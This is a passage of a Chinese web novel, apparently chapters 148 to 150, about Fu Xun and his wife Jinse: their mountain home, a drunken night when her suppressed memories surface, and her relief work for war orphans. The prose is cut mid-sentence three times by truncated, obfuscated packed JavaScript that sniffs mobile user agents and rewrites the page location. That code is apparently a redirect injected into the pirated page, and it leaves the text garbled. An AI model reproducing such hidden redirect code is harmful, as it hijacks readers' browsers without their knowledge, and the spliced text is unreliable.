深入骨髓的孤单、被抛弃的恐惧再度袭来,在每个夜晚的睡梦中将他淹没,冷得像是不能呼吸。 每到夜晚,他总喜欢往人多的地方混,先是街头巷尾。后来,为了减轻苻治对他们兄弟忌惮,他又开始流连勾栏瓦舍歌舞坊,混得声名狼藉,走到哪儿、都有一伙不成器的纨绔跑来结交他。 他不喜欢他们,可为了韬晦,他愿意作拖三哥后腿的那滩烂泥、愿意跟他们混在一起。后来他慢慢发现,同他们一起、钻进嘈杂热闹的市井也不算差。至少,那些深入骨髓的孤单和恐惧可以被稍稍冲淡。 成婚之后的这几年,苻洵平生第一次知道,真正的热闹其实无需很多人。 有她在,最平静无澜、庸常琐碎的日子,也可以这样有滋有味、这样热闹。 148. 偷来的光阴 苻洵被贬官之后,锦瑟非但无半分不悦,眉眼间反而带着欣喜,说是连他这样的战将都闲了,想来近几年不会再起战事。 得知以后要常住渝安郡,更是喜不自胜,已经开始扳着手指头、翘首以盼哪天进山。 操练水师有忙有闲,苻洵忙起来时、一连好几个月宿在军营;一旦得了闲暇,他们就收拾大包小包,去那座吊脚楼小住,短则十天半月,长则个把月。 她先拉他去挖观音土,扛回来捏出泥胚、放进村头那口小砖窑,烧成一个个土黄色、奇形怪状的陶盆。再在石桥这头掘出个方圆六尺的池子,从小溪引一道活水流进流出。 又漫山遍野寻找树苗、花苗,庭院周围种上一圈山茶,屋后种上三五棵桂花,木楼梯旁种上两株白兰,水池子种下砸开壳的莲子,陶盆里种上茉莉、栀子、球菊,逐级摆放在木楼梯的踏板上。 一年四季、花开不断,整栋小楼都被包裹在馥郁的香气中。 苻洵在屋旁搭了一座秋千,两丈高的杉木架、刷了三五遍桐油。她喜欢飞翔的感觉,任由他在背后一下一下推,随着绳子摆荡到最高处,俯瞰大片翠竹、山涧深林、凝集的洁白雾霭。 她喜欢跳舞,喜欢在赶秋节围着篝火翩跹飞旋,她跳起蛮族舞驾轻就熟,尤其是转蓬腰,像一阵空灵的风,带动翩翩黄叶绕着她杳然飘旋。 他也忍不住走近火堆,与她双手交握,一起且歌且舞,他们是村子共舞最美、最默契的一对情人。 她将竹片、玉片和丝绳串成风铃,挂在吊脚楼的四个角、绕楼曲廊的檐下。两年来,每次他们从珪山回村,刚穿过竹林、转过青石桥,就听到清脆空灵的铃声,滴丁东了滴丁东。 廊下吊着几盏灯笼,薄如蝉翼的白纱灯罩,全被她用极细的彩色蚕丝绣上杜鹃、芙蕖、红梅、雪花等图案,屋内照明的琉璃灯罩也全以纯银掐丝勾勒出花鸟。 稍有闲暇,她就让他打几桶水上楼,一遍遍擦拭那些拙朴的书架、桌椅、窗棂和扶栏,似要将这山中小楼每一寸都擦得纤尘不染。 或是对着《山海图》,用软木雕刻出蠃鱼、九尾狐、天狗、蜀鹿、九头蛇……摆放在卧房的博古架上。 她总那样兴致盎然,做什么都充满乐趣。 苻洵二十九岁生辰那天,收到足足二十九坛桂花酒,还有她亲手绣的一只香囊,用的是蛮疆最复杂的挑花针法,绣着一对活灵活现的蝴蝶,图案跟她那只银锁錾刻的一模一样。 她手忙脚乱一下午,和面擀面、捏寿桃、切面条。面条煮糊一次、煮坨三次,才堪堪弄出一碗长寿面,又煮了两个白水蛋卧上。 苻洵正将小桌摆到院中,见她端着热气腾腾的长寿面转过曲廊,忙三步并作一步跨上楼梯,接过她手中面碗放到桌子上。又跑上二楼、两手各提一把椅子摆到院中。 竹蒸笼里除了寿桃,还蒸着半条鲈鱼、一截蜜汁藕。她用抹布垫着笼屉手柄,试探往上提了提,水汽扑面而来、烫得她往后退了半步。 苻洵正从门口经过,冲进来眼疾手快接住笼屉,端下楼去,将菜一样一样摆上桌,动作自然而熟练,就跟他的刀法一般行云流水。 “做饭这种事,还是得看天赋”,她长叹一声,悻悻道,“学了那么久,做出来的还是狗都不吃。” “好好的日子,别骂人”,苻洵坐在桌前,正津津有味吃着没油没盐的长寿面,差点呛到,“面还是不错,十分……十分绵软好克化。” “等过完生辰,咱们回珪山吧”,苻洵捂了捂她冰凉的手指,捧起酒坛将二人面前瓷盏斟满,“山里的深秋很冷,你身子经受不住。” 她点点头,端起酒盏品了一口,笑逐颜开:“这酒味当真不错,等回珪山再酿几坛,送给虞先生和颜先生。” 苻洵扬眉笑了:“年底还想跟颜清和去义诊?” 她眼角眉梢全是笑意,有点狡黠:“去呗,偷师学艺,如今我自个儿都会配养颜膏了。” 他们搬到珪山后,颜清和在灵昌闲得无聊,也跟着把药铺搬到提督府对面。 苻洵静静注视着她欢喜的样子,眼里全是暖意,一杯接一杯饮酒,顺口接话:“好厉害。会木雕、会养花、会酿酒、会刺绣、如今连配药都会了,明年还想学什么?” 她一边喝酒,一边抬头打量着吊脚楼,认真地规划起来:“还想学剪窗花、打银首饰,还想学打铁……” 失望地揉了揉两肩:“力气不够,学不了。”忽然有些伤感,捧起酒坛子想再倒一盏,却发现自己面前的这个已经空了。 他喝酒真快! “你真喜欢这地方?”苻洵捧起第二坛酒,先给她倒满,然后仰起头、酣畅地灌了几口。 她将盏中酒一口喝光,顾不得眼前晃出重影,舞着发软的手臂,颤巍巍重新开了一坛,给自己满上,一饮而尽:“喜欢,这儿什么都是鲜亮的、活的。” 苻洵笑容淡了几分,注视着她,眼神透着悲痛和苍凉,低声喃喃自语。 “明明是这么活泼鲜亮的人,爱热闹爱烟火气、爱美食爱佳酿、爱四季的风花雪月、爱所有新奇漂亮的东西,当初怎就对世间没分毫眷恋,非要一心求死、半条活路都不肯给自己留?” 说完这些,他苦笑着摇摇头,自斟自饮、埋头一盏接一盏喝着闷酒。 “大概是,太累了”,她有一搭没一搭喝着酒,仰头看向凉凉月色,“争斗不休,一波未平一波又起……” 不承望听到回复,苻洵端着酒盏的手一滞,瞳孔急遽放大,难以置信地抬头看向她,专注听她继续说。 “一茬又一茬袍泽战死沙场,无辜的人变成牺牲品,君父变成冤魂,密友变成魑魅,想护的一个没护住,想爱的……” 苻洵倾身直勾勾盯住她,目光急切逼问:“想爱的怎样?” 她的话语卡在喉咙里,紧闭双眼使劲摇头,流下两行泪水,语气逐渐低哑,断断续续逼出几个字:“想爱的变成宿敌,想爱的……想爱的不该爱。” 旋即,她惨叫一声,抬手用力抱住脑颅,眉头一分分紧蹙,冷汗一滴滴从额头渗出,似在极度痛苦中拼命挣扎,喉咙里不时挤出破碎的哀嚎。 苻洵恍惚地笑了、似喜似悲,双眸闪烁泪光,甩开酒坛跨过去抱住她,轻轻揉按着她前额和头顶,试图替她减轻痛苦,柔声哄道:“头疼就不想了……不想了……” 她却没有停,颤抖的手拼命挤压着太阳穴,十指扣住后脑勺,从喉咙间挤出一字字,声嘶力竭、混着哀嚎:“没有变……什么都没变。” “花了五年,只证明自己是个废物,会恐惧、会怯懦、更会累……眼睁睁看着一切发生,什么都无能为力。” 她双掌按着脑颅往下移,搓揉得脸部面目扭曲,全身颤栗不止:“我心性不够强硬刚毅,每场战争都会痛苦,眼睁睁看着他发起不义之战……却只想解脱……” 苻洵身躯一僵:“他?不义之战?” “他、他是……我不敢劝他,我还有亲人”,她蜷起十指,弯曲如钩狠狠挠下,指甲将白嫩的双颊勾出十道血痕,“好痛!” “我害死了他!” “我想过离开他,也恨过他,可我从没想过让他死,从来没有!” 她的嗓音已喊破,满脸泪水混合着细密血珠,身躯剧烈抽搐几下,突然猛地一倾、呕出几口鲜血,软倒在他怀中失去知觉。 幽冷的月光透过窗扉照在床上,昏睡中的女子不时发出低声呢喃,嗓音悲怆带着泪意,如泣如诉。 “二十多年前一群人纵火自焚,二十多年后另一群人拔刀自戕。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673992|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “希望少几座宁皋山,却将大草原屠杀一遍又一遍;希望少几条丹河谷,却杀出更长的死人坡;希望少几座龙兴楼,却将武原城焚之一炬;希望河清海晏,却授意他们淤堵伊河……” 苻洵从银盆中拧起湿帕子,替她擦去额头渗出的冷汗,浸入盆中洗净拧干后,卷成筒状长条敷在她额头。像十年前在山洞那样,定定注视着她,以玩笑的语气建议。 “这样遭罪……要不然,别回去做什么王后了,考虑考虑……重新找个知冷知热的夫婿?” 床上的她仍紧闭双目,哽咽着呓语:“以为只要狠狠心、弄脏自己双手,总会有一两代太平盛世。可北伐大捷烽烟刚散尽、柘枝城七月又大屠,逆王挥师朔门关。等所有入侵者都被赶走,我们也变成了入侵者……” “哪有什么太平盛世?所有人都这样想的,卧榻之侧岂容他人鼾睡。我们安乐了,别人就不安乐。” “没有,什么都没改变,也永远不会改变。” 苻洵不断替她擦拭眼角泪水,双眸泪花闪烁、神情恍惚:“早知今日,当初在九霄山无论你是否愿意,绑都把你绑走。” 她的呼吸急促起来,睫毛剧烈颤抖,恻然喃喃:“永平三年杀俘十万,永平四年纵匪劫掠、淤塞伊河,致使数百万人流离失所;身居高位,却因一己之私,没防范未然在先、未明察秋毫在后,养虎遗患、危及君父、疆土失守……” “早晚要打的仗,早晚要你死我活的人,你干嘛往自己身上揽?”苻洵闭上双目,潸然泪下,“这乱世的重量,又岂是你一人能承担的?” “好痛!”随着一声凄厉惨叫,昏睡的人猛然睁开眼,双目赤红、缓缓流下两行鲜血。 她脸上满是绝望,怔怔注视着他:“阿洵,这世间可有忘川水?” 苻洵扯了扯嘴角,笑意像浮在池中的薄冰,稀薄而悲凉,无声攥紧袖中松石绿的小瓷瓶:“没有。” 他起身推门走到曲廊,从门外的炉子上拎起水壶、将热水倒进水盆,又抬起水桶掺入冷水,换了张干净丝巾浸湿,松松拧了拧,仔细替她擦拭脸上血迹。 她突然伸手攥住他袖子,急切地问:“阿洵,我到底是谁?” 苻洵反手握住她,用自己的温度替她暖着冰凉的手,注视着她双目,弯了弯唇角,肯定地说:“你是锦瑟、是我的夫人,更是我毕生的挚爱。” 她松了口气,唇角浮起一丝浅淡的笑意,合上双眼沉沉睡去。 再无梦呓。 苻洵凝视着她沉静的睡颜,小心翼翼将被子掀开一角,将她的手放进去、盖好。然后起身,顺着木楼梯拾级而下,穿过庭院,走到小溪边。 松石绿的小瓷瓶在月亮下泛着着幽光,瓶中装着蛮疆蛊虫九转九炼的秘药——忘忧,这样的药,他有整整四瓶。 拔出软木塞,瓶中药液近乎满满当当。除了十一年前那个除夕夜,混入温水激她喝下的那几滴,其余的、分毫未动。 这之前,他无数次动过念头,却始终没有故技重施。 大概,只是耿耿于怀,他曾自作自受导致她记忆混乱,让他们险些错失一生。 “原来,你也想忘记”,他唇边绽开一抹释然的笑,“没事,你能不能忘记,对我已经没那么重要。” 从袖中拿出另外三个一模一样的瓷瓶,一个一个拔出软木塞,倾倒瓶身、看着无色的药水从瓶口流泄而出,潺潺汇入清澈溪水,直至一滴不剩。 他捂着心口直身站起,走向吊脚楼的方向,步履有些踉跄,却是松快而轻盈的。 “谢谢你,让我这三年多过得很幸福。” “虽然,这段光阴是我偷来的。” 月光在他身后拖出长长影子,稀薄得像山中的云岫,一阵夜风就能吹得无影无踪。 149. 安抚使 九月初九,锦瑟睡到午后才醒,脑袋疼得想要炸开,昏昏沉沉的,脖子上像压了几百斤顽石。 正是球菊群开时,从楼梯顶端往下看去,一颗又一颗球菊开得圆滚滚肥嘟嘟,嫩绿、浅紫、金黄、橙红美不胜收,她拾级而下时,情不自禁弯下腰、去捏那蓬松的花朵。 那张小桌依旧搭在庭院里,蒸鱼和蜜汁藕每样动了几筷子,面捏的寿桃吃了半个,只有那碗寿面吃得干干净净。地面散落着酒坛酒盏被摔碎的瓷片,乱七八糟还没收拾。 “这是——昨晚上又吵架了?” 她绞尽脑汁想了半晌,没有任何印象,有些懵,先在楼下杂物间找了一圈,又返身上楼在绕间和曲廊转了转,鬼影子都不见一个。 “人呢?又躲哪儿喝闷酒去了?” 她心念一动,走向屋后、穿过桂花树荫,来到花篱笆门前用力一推。 姹紫嫣红的蔷薇在风中摇曳,热气氤氲,蒸腾的白雾将汤泉包覆在内。云蒸雾绕中,苻洵大半身子浸在池子里,乌黑发丝随意披散下来,漂浮在水面、像一丛水藻,正缓缓下沉,水已淹到锁骨、脖子、下颌…… 她吓了一跳,等不及跑到石阶那边,提踵一跃扎进水中,拦腰抱住他向岸边拖拽。整个过程他纹丝不动,任由她生拉活拽,甚至她不小心失足滑倒,两人一同栽倒在四溅的水花中,他都毫无反应。 气喘吁吁将他拖上岸,她感觉胳膊快断了,双肩传来撕裂般的剧痛,又气又急正要骂人,忽觉手感不对。 汤泉的热气散尽后,他的身躯透过紧贴的薄薄布料,冷得像一块冰。再往上一看,他双眼紧闭、脸颊和嘴唇没有一丝血色。 她心底涌出一股惊惶,久违的恐惧摄住她的心神,连呼吸都困难起来,晃了晃他肩膀,轻声呼唤:“阿洵?” 苻洵慢悠悠睁开眼睛,睡眼惺忪地哑声问:“天亮了?” 悬着的心蓦然放下,她全不顾还搂着他,腾地站起来、带得他噗通一声倒地,怒火中烧吼道:“你是不是有病,跑到池子中间睡觉,还睡那么沉?” 苻洵躺在地上,双眸亮晶晶地仰视着她,带一丝讨好的笑:“姐姐的意思是,我可以回屋睡觉了?” 也不知他什么毛病,明明不同床歇息、每晚却非巴巴地跟她挤一间屋。 “谁不让你回屋睡了?”锦瑟跺了跺脚,忽然眉心一皱,有些尴尬地指着自己,“昨晚上我把你撵出去了?” 旋即摇了摇头:“不对,肯定是你诓我,好端端的我为何撵你出去?” “也不知是谁,昨晚同我抢酒喝,抢不过我还恼了……”苻洵笑得眉眼弯弯,懒洋洋抬起一只手,“若是酒醒之后觉着愧疚,就拉我起来。” 锦瑟也有些拿不准,她的酒品和酒量同样堪忧,不确定地反复打量苻洵,那笑容怎么看怎么得意、怎么看怎么狡猾。思索片刻,她跺了跺脚、丢下他转身就走。 “咝——好狠的心。”苻洵眼睁睁看她走远,吊儿郎当的笑容霎时消失,眼里满是痛苦。 他以手撑地面、挣扎着想坐起来,手背、额头青筋根根凸起,额头渗出豆大的汗珠,唇角微微抽搐,反复试了数次,每次都重重地砸回地面。 “哪有你这样的,不拉就赖地上不起来?”屋前传来脚步声和她哭笑不得的声音,苻洵放弃挣扎,平躺在地面,扯了扯唇角、恢复漫不经心的笑。 脚步声越来越近,紧跟着一堆衣物兜头扔来,带着皂角清香:“还当自己三岁小孩?” 苻洵没说话,眉眼弯弯看着她,再次向她伸出了手。 锦瑟无奈伸手去拉,冷不防被狠狠一拽,栽倒在他身上,旋即被他湿淋淋地紧紧抱住。 刚换的干衣服又被打湿,她叹了口气、抬眸看他,正要说些什么,看清他的脸之后,不禁一怔。 他脸色依然很苍白,却比先前有了几分活气,双颊蕴着两团不正常的红,眼神缥缈迷离、定神注视着她,慢慢凑近、停在咫尺间距,能感知他潮润的呼吸蹭过她脸颊,略带紊乱和急促,蹭得她上半边身子都是麻痒的。 她的心被轻轻揪起,难以言喻的战栗迅速弥散了整个胸膛,连带着呼吸都变得不顺畅。 双唇蜻蜓点水触碰之后,他放开她往后退了点,双眼满是渴求,直勾勾盯着她。她没有抗拒,任由他微凉指尖贴着皮肤,从脸颊、脖子慢慢往下,滑过锁骨勾住衣领。 她比任何时候都清醒,却很没出息地开始沉沦。 他的手蓦然一顿,松开她,牵过她的手展开,掌心贴在自己心口的位置,不再动弹,哑声哀求:“我这儿疼,抱着我,抱紧些,不要松开……” 她心软了:“你以后还是睡床吧。” . 珪山,渝安水师提督府。 锦瑟坐在院中,翻阅着厚厚账簿,木材、砖石、稻草、柴薪、布匹、米、菜蔬、肉……杂七杂八,渝安郡所有保育院和康养院今年的开支。 对阵亡将士的抚恤政策推行后,建宁九年七月开始,她被钦差为渝安郡安抚使。 前几年的战争,死伤最惨烈的当属昇阳,英平郡,郅阳郡,渝安郡。昇阳安抚使是洛安侯萧桓的夫人,英平郡安抚使是英平侯沈绍宗的夫人,郅阳郡安抚使是郡尉夫人。 是的,全是权贵重臣的夫人,全是女人。 继后出身翊国,那是个女子能自立门户、出将入相的国度,她嫁入荣国王室后,屡屡为苻沣建言。苻沣并未顾及后宫不能干政的祖训,每条都认真听、有用的可行的就从谏如流。 继后建言,自古以来抚恤、赈济都是腐败的重灾区。如今国库空虚,非常之时行非常之事,不如直接委任那些国君信重的臣子来办。又说,重臣军政繁琐,家中夫人素有怜贫恤弱之名,不如将此重任交给那些贵妇。 苻沣的心腹文臣还没在朝会上提这茬,听到风声的人已开始连夜翻书,翻遍女则、女戒、女训,巧妙避开安抚使的事,定了善妒、失仪等上百个罪名,弹劾奏折雪片似的飞出御史台,吵来吵去又是好几个月。 个把月后,苻沣挑了几个跳得最凶的,择其血亲女眷纳入后宫。一想到自家姊妹、女儿、孙女要在继后手底下讨生活,挑头的几家霎时熄了火。 丞相景樊带头提出“天变不足畏,祖宗不足法,人言不足恤”,致仕的虞正则也给朝中门生去信,事情最终还是照苻沣预期的方向发展了。 锦瑟当时还感慨,说咱们陛下当真宠爱继后,岂料苻洵淡淡地说,这跟继后没半分关系。建宁四年开始,荣国女子就可以自立门户了,只不过提出初衷是“充实户籍,多征收赋税”,并无多少人在意。 究其根本,是随着土地的扩张,生产方式发生了变革。以往,荣国弹丸之地,人口密度大,耕田耕地又多处于丘陵,耕作十分费劲,需要出大力,所以只有男子作为家庭支柱。 后来,随着郅阳、北卢的开垦,平原增多、人口不再稠密,作物除了米粮菜蔬,还有桑蚕纺织,女子也能产出颇丰。若无政策激励,女子们织布纺线所得全上交家主、落不到自己口袋,自然提不起干劲。 大半人口长期提不起干劲,对国力是极大的浪费。 锦瑟恍然大悟,对苻沣的叹服又多了些。 她发现苻沣很独特,全无话本子里描述的君王威仪,儒雅随和、脾气十分好,大臣们随便骂随便吵,吵完了继续说事,再重的拳头打到他那里都像陷进棉花。但他想办的事,绕再多弯子、拖再久总是要办的,而且往往能办成。 他从来不急,什么都温温吞吞的,今天不行就明天,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687707|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年不行就三年,反正总会成。 他的身上有一种罕见的、“慢”的力量。 . 所谓安抚使,其实是个苦差,在战争中失去子侄的老人、失去父母的孤儿太多,国库财帛有限,调拨下来的钱款只够安置不到一半人,剩下的全得她们自己想办法。 既有政令,说国库调拨的钱不够、普罗大众无人肯信,初来渝安郡的那个年底,她捧着厚厚的赤字账本欲哭无泪,其它几位夫人也一样。 渝安郡富商多,筹钱倒还方便。除了募捐,她还想了个法子,号召大小官员搜出家中不常用的首饰、布匹、茶具、酒器等奢侈物品,借渝安商会的议事堂拍卖,富商都想沾些官气、纷纷趋之若鹜。 她又下帖请来渝安郡公夫人,一起召集本地官员和渝安水师武将的夫人们,从中遴选有心有力者组成监察会,共同管理售卖得来的财帛支出。 其实没人监管,她也没想过中饱私囊,就不知为何,觉得应当有这样一个监察会。 开源的问题解决了,便是节流。整个年节,她都在绞尽脑汁想怎么省钱,直想得神思恍惚、食不知味。 最终的破解之法,却藏在飞花楼。 苏裳只略略扫了一眼账本,就看出了最大的问题:抚恤规格太高了。屋子是砖瓦的,粥是稠的,还保证每天菜肉,此外,裁衣用的布料也太好了,颇有何不食肉糜的味儿。 为了这事,苏裳还很热心地来了趟珪山,与她一起换上粗布麻衣,去真正的贫民窟逛了几天。 四面漏风的棚屋,充满臭烘烘的药味汗味尿骚味,全家凑不出两条好裤子,饿得腹部肿亮的老人,病得奄奄一息的男男女女,耳朵、指节、脚趾缝长满冻疮的孩子,胸部干瘪的母亲抱着无力哭泣的新生儿…… 干涸的眼眶流不出一滴泪,麻木的眼神,失去希望的眼神,等死的眼神。 走出这片乱糟糟脏兮兮的聚居区,一墙之隔的街道,车水马龙、川流不息。茶坊、酒肆、点心铺、胭脂铺、罗绮、金翠,热闹非凡,满街绣户珠帘、红袖招摇。 苏裳离开了一段时间,回来时捧着个木匣子,里头用油纸布层层包裹、珍敛密藏着几本手抄笔录,封皮写着“赈济录”,小注“保育院篇”、“女学篇”、“康养院篇”等等。 翻开是满页清秀的蝇头小楷,密密麻麻写着的,不仅有保育院和康养院,还有义塾、义诊堂的开设要点。 用什么材料、怎么征募人手最实惠,给老幼妇孺提供什么的食物和衣料,能尽最大程度吃饱穿暖、同时不浪费一粟一缕,何时备什么药材熬煮成汤、能以最小成本预防时疫……不厌其详、条分缕析、面面俱到。 “好一位细心的夫人。”锦瑟目不转睛地仔细翻阅,啧啧称奇。 苏裳捂嘴轻笑:“可不是什么夫人,是个男子编撰的。” “男子?”锦瑟闹了个大红脸,指着隽丽的字体,哑然失笑,“这么秀气的字?男子?” 苏裳点点头:“是啊,跟夫人差不多岁数,又长得秀气文弱,字如其人嘛。” 锦瑟本打算登门拜会、促膝长谈,一听是个年轻俊秀的公子,顷刻打消念头,抓紧时间熬了几个大夜誊抄一份。想了想,又把苻阐和苻忆拉来一起抄,打算这个冬天先试验一番,若实用,年节回奉宁时呈给苻沣,在其他几郡推广。 苻忆撅着小嘴:“娘亲就会偷懒。” 苻阐正色道:“这本手录十分翔实有用,若有幸结识这位先生便好了。” 苏裳礼貌地笑了笑:“但愿吧。” 苻忆边嘀咕边漫不经心翻着书册,视线忽然定格在“女学篇”上面,眼睛一亮,“女子官塾?这位先生真是大善人。我一定好好跟虞先生读书,将来去这位公子开的女学里做教习。” 150. 血脉 苻阐和苻忆又在吵架,确切地说,是在辩论。 他们研学进度一致,又都思考得很深,于是时常有不同观点,然后就是引经据典、半天不歇气地辩论,大多数时候,谁也说服不了谁。 一个九岁、一个八岁,一本正经谈论如何治国,那场景要多违和有多违和,但锦瑟笑不出来,他们的一些观点远超同龄人,甚至连虞正则都得正经应对。 苻阗也已经启蒙,可资质平平、听不懂虞正则讲学,只能就近安排到官塾入学。锦瑟不以为意,说这是有福之兆,还送阿阗四句话:人皆养子望聪明,我被聪明误一生。惟愿孩儿愚且鲁,无灾无难到公卿。 说者无意,听者有心。苻洵霎时震了震,摊开双手瞧着掌心,苦笑着轻声喃喃:“被聪明误一生的,何止你一个?我和他,我们不都是一样?” 三个孩子都过了黏人的年纪,苻阐和苻忆每天跟着虞先生听学、辩经,跟着秦川学骑马、射箭、舞刀,忙得不亦乐乎。苻阗之前大部分时间都跟着姨娘们,来了珪山又天天跟同窗玩耍。 有段时间,苻阐不知从哪里看到奇怪的东西,一入夜就拉着苻忆和苻阗回书房温书,说是要给爹娘时间添弟弟妹妹。 苻阗不断摇头:“不要弟弟妹妹,要哥哥姐姐。” 苻忆敲了他一个暴栗:“笨死了,现在添的只能是弟弟妹妹。” 此后很长一段时间,苻阗每天傻乎乎追着苻洵问:“什么时候有弟弟妹妹?” 一句话把油嘴滑舌的苻洵问沉默了,过了半天,苻洵直截了当说:“你不会有弟弟妹妹。” 三年前,颜清和给夫人诊平安脉时说,她操劳过度、多次遭受大寒,元气伤得太厉害,恐怕子息艰难。其实就算颜清和不说,明眼人也都瞧得出来,她畏寒怕冷、手脚冰凉、每逢月信疼得死去活来。 所有加诸她身的磨难与伤害,昇阳那政务繁佚的朝廷有份,东南那四境动荡的军防有份,武原城那一族叛臣有份,柘枝城那对逆王疯后有份。那个她从小到大、仰慕二十多年,豁出性命去保护和拥戴的人也有份。 他自己,更是不可推脱地占着最大一份。 与她拜堂合卺、蜜里调油的三年多光阴,全都是他偷来的,他没脸、也不敢去奢求更多。 他曾疯狂渴望亲近她,无数次梦里,他们像是两朵交融的云,像是一团燃烧的火,像是软藤缠紧的树,癫狂迷乱得想把对方揉进自己身体里。 等他们真的拜过堂、喝过合卺酒,可以理直气壮亲近了,他却变得畏畏缩缩、谨小慎微。二十六岁生辰那半个月,他们曾真真切切那么近,美得像一场做梦都不敢想的幻觉。 可梦总要醒,他警醒地幻觉中抽身,借着她那次醋意大发,再不冒犯她分毫。 他像一只饿了许久的老鼠,偷到心仪已久的巨大糖糕,小心翼翼尝了一小口、发现比想象中更美味,就再舍不得吃其余的。只要那糖糕好好在自己屋里藏着,看得见摸得着、每天嗅一嗅香气,就觉得饱足和欢喜。 前几天请平安脉,颜清和又说,夫人这三年多饮食睡眠调理得当、少思少虑心情愉悦,身子已大好。 他听懂了暗示,却只是开始教她练习刀法,看她很快捡回来、一手刀法行云流水,他心里稍微轻松几分——欠她的债,又少了一点。 他不愿放开她,更不愿被她舍弃,却不得不时刻悬着一颗心、预备着再次被她舍弃。 像之前无数次那样。 . 苻洵十四岁的时候,萧玥娘有了身孕,苻沣每天笑得合不拢嘴。苻洵不明所以,追着哥哥问孩子是什么,女人孕育得那样辛苦,她们的夫君却那么欢喜。 苻沣很耐心地回答他,男子和女子的血脉同时交融在孩子身上,斩不断分不开,是他们最亲密的共同羁绊。一个男子,若同心爱的女子有了这种羁绊,自然会十分欢喜。 他那天恍然大悟,父王那么厌恶自己,别说认祖归宗、看都懒得看一眼,不是他不够聪明伶俐、不够乖顺懂事、付出牺牲得不够多,而仅仅是因为——母亲从来不是父王心爱的女子。 没事……他那时候想,没事,都过去了,未来他一定会跟自己心爱的女子生很多孩子。 白水之畔重逢的那个夜晚,他躺在床上翻来覆去睡不着,那时候萧玥娘正怀着苻菁。他又想到苻沣说的“孩子”的概念,于是打开衣箱,将里面珍敛密藏的红色锦袍找出来。 五年过去,他长高了很多,那几套衣袍已经穿不上。于是他每天晚上抱着它们,嗅着淡得几乎闻不到的藕花香气,睡得十分香甜。 每睡醒一觉,他就又替他们的孩子取好了一个名字。 那年十一月底,他回了一趟镇安,正赶上萧玥娘生苻菁。她大出血,虚弱得晕厥过去,卧房里的血腥气门外都能嗅到,惨烈得触目惊心。孟太妃在血淋淋的产床前,抱着嚎啕的婴儿欢笑庆贺,苻沣心疼得泪水直流。 他全身血都凉了,站在院子里像一尊僵冷的雕像,仿佛躺在产床上流血的女人,是未来的她。 他摊开一大张宣纸,把自己想过的那些名字全部写下来,再一个一个划去,划到只剩最后一个时迟疑许久,舍不得划去他跟她唯一牢靠的共同羁绊。满屋子血腥气在他鼻端挥之不去,让他抱着那些红色衣袍时不寒而栗。 于是,他在梦里问她,愿不愿意跟自己生儿育女。 有时候她说愿意,于是他找了很多大夫、想了很多办法,让她不用流多少血就生下那个孩子,他抱着她和孩子的时候,心里满满当当十分踏实。他们有了斩不断的羁绊,再也不担心分离。 有时候她不愿意,说怕疼怕流血,于是他掏空心思对她好、逗她开心,带她游山玩水、骑马射猎。虽然没有孩子,但她念着他还算知冷知热,最终也没有离开她,他们一起欢欢喜喜白头偕老。 他在梦里无数次跟她过完了后半生。 那时候的他,从未想过,他们可能压根没有后半生。 洛京会盟之后,苻沣不再催他成婚。只说荣人极重子嗣,他身为权贵重臣更应以身作则。就算决意终身不娶,也总得照荣国习俗,纳几房姬妾,留几个子嗣。 他十分抵触这样冷心冷情地生孩子,因为自己就是这样来的。 苻阙的存在,是为了保住锦瑟性命,当他好不容易寻到合适的孕妇,却忍不住质问那孩子生父——不愿意养,为什么要随随便便让人有孕。 就像质问当年始乱终弃的父王。 那个男人讽刺说,穷人命贱、自然先保全生母。不像他们达官贵人,子嗣各有各的用处,个个都比生母金贵。 文臣武将的子嗣,属于夫家的宗族;国君的子嗣,属于江山社稷、王族宗室、摄政官和满朝文武,属于后妃的母族。 却唯独不属于孩子的生母。 苻洵不忍再让苻沣替他操心。 萧玥娘替他选的、同僚送他的良家子,他一个都不愿碰。总觉得,一个女子豁出性命为男子生儿育女,总会希求换回点什么,比如那个男子的真心。 可他早把真心掏给了别人——那个他可能终其一生都娶不到的女子。 想了想,反正纳妾要花钱,不如多花几个钱,给那些年岁小的清倌赎身。他时常听勾栏的姑娘们说,因为那纸身契和贱民籍契,她们连性命都不是自己的。 他对她们说,他替她们把性命赎回来,尽力让她们锦衣玉食、后半生安乐无虞,但是需要她们替自己生孩子,这只是一桩交换。得知她们很喜欢这样的交换,他松了口气。 可每当他下定决心、要真正成为一名父亲时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703995|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几张脸总在眼前晃,一忽儿是幼时无助的自己,一忽儿是惨死的母亲,一忽儿是笑容灿烂的她。 他被牢牢实实地、困死在那些求不得之中。 一切的转机,来自于那名重伤濒死的袍泽……此后,各取所需,两相得宜。 